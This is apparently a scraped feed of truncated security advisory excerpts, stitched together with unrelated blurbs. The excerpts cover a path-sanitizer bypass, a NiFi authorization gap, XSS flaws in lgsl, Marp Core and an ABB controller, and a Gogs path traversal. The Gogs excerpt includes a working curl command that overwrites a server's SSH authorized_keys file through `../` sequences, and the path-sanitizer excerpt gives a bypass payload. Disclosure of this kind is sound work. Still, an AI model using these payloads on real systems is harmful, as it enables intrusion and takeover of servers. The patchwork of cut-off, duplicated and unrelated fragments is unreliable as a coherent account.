#js

### Summary This is a POC for a path-sanitizer [npm package](https://www.npmjs.com/package/path-sanitizer). The filters can be bypassed and can result in path traversal. Payload: `..=%5c` can be used to bypass this on CLI (along with other candidates). Something similar would likely work on web apps as well. ### PoC Here's the code to test for the filter bypass: ```js const sanitize = require("path-sanitizer") const path = require("path") const fs = require("fs") // Real scenario: function routeHandler(myPath) { // Lets just assume that the path was extracted from the request // We want to read a file in the C:\Users\user\Desktop\myApp\ directory // But the user should be able to access C:\Users\user\Desktop\ // So we need to sanitize the path const APP_DIR = "/var/hacker" const sanitized = path.join(APP_DIR, sanitize(myPath)) // Now we would usally read the file // But in this case we just gonna print the path // console.log(sanitized) return sanitized } fu...

Organizations in the region should expect to see threat actors accelerate their use of AI tools and mount ongoing "harvest now, decrypt later" attacks for various malicious use cases.

Apache NiFi 1.10.0 through 2.0.0 are missing fine-grained authorization checking for Parameter Contexts, referenced Controller Services, and referenced Parameter Providers, when creating new Process Groups. Creating a new Process Group can include binding to a Parameter Context, but in cases where the Process Group did not reference any Parameter values, the framework did not check user authorization for the bound Parameter Context. Missing authorization for a bound Parameter Context enabled clients to download non-sensitive Parameter values after creating the Process Group. Creating a new Process Group can also include referencing existing Controller Services or Parameter Providers. The framework did not check user authorization for referenced Controller Services or Parameter Providers, enabling clients to create Process Groups and use these components that were otherwise unauthorized. This vulnerability is limited in scope to authenticated users authorized to create Process Groups...

### Summary A stored cross-site scripting (XSS) vulnerability was identified in lgsl. The issue arises from improper sanitation of user input. Everyone who accesses this page will be affected by this attack. ### Details The function `lgsl_query_40` in `lgsl_protocol.php` has implemented an HTTP crawler. This function makes a request to the registered game server, and upon crawling the malicious `/info` endpoint with our payload, will render our javascript on the info page. This information is being displayed via `lgsl_details.php` #### Affected Code: ```php foreach ($server['e'] as $field => $value) { $value = preg_replace('/((https*:\/\/|https*:\/\/www\.|www\.)[\w\d\.\-\/=$?​]*)/i', "<a href='$1' target='_blank'>$1</a>", html_entity_decode($value)); $output .= " <tr><td> {$field} </td><td> {$value} </td></tr>"; } ``` ### PoC 1. Create a game server with type `eco` and set the target host and port accordingly to your ttack server. I have crafted...

Marp Core ([`@marp-team/marp-core`](https://www.npmjs.com/package/@marp-team/marp-core)) from v3.0.2 to v3.9.0 and v4.0.0, are vulnerable to cross-site scripting (XSS) due to improper neutralization of HTML sanitization. ### Impact Marp Core includes an HTML sanitizer with allowlist support. In the affected versions, the built-in allowlist is enabled by default. When the allowlist is active, if insufficient HTML comments are included, the sanitizer may fail to properly sanitize HTML content and lead cross-site scripting (XSS). ### Patches Marp Core [v3.9.1](https://github.com/marp-team/marp-core/releases/tag/v3.9.1) and [v4.0.1](https://github.com/marp-team/marp-core/releases/tag/v4.0.1) have been patched to fix that. ### Workarounds If you are unable to update the package immediately, disable all HTML tags by setting `html: false` option in the `Marp` class constructor. ```javascript const marp = new Marp({ html: false }) ``` ### References - [CWE-79: Improper Neutralization...

The ABB BMS/BAS controller suffers from an authenticated reflected cross-site scripting vulnerability. Input passed to the GET parameter 'name' is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML/JS code in a user's browser session in context of an affected site.

The ABB BMS/BAS controller suffers from an authenticated reflected cross-site scripting vulnerability. Input passed to the GET parameter 'name' is not properly sanitised before being returned to the user. This can be exploited to execute arbitrary HTML/JS code in a user's browser session in context of an affected site.

Relive the 90s web era! The Neuro Nostalgia Hackathon challenged teams to transform modern sites into retro masterpieces…

### Impact The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. ### Patches Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev. ### Workarounds No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions. ### References n/a ### Proof of Concept 1. Generate a Personal Access Tokens 2. Edit any file on the server with this ```bash curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \ -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \ -H "Content-Type: application/json" \ --data '{ "message": "an", "content": "<base64encoded: your ssh pub key>" }' ``` 3. ssh connect to...

Popular npm packages, Rspack and Vant, were recently compromised with malicious code. Learn about the attack, the impact, and how to protect your projects from similar threats.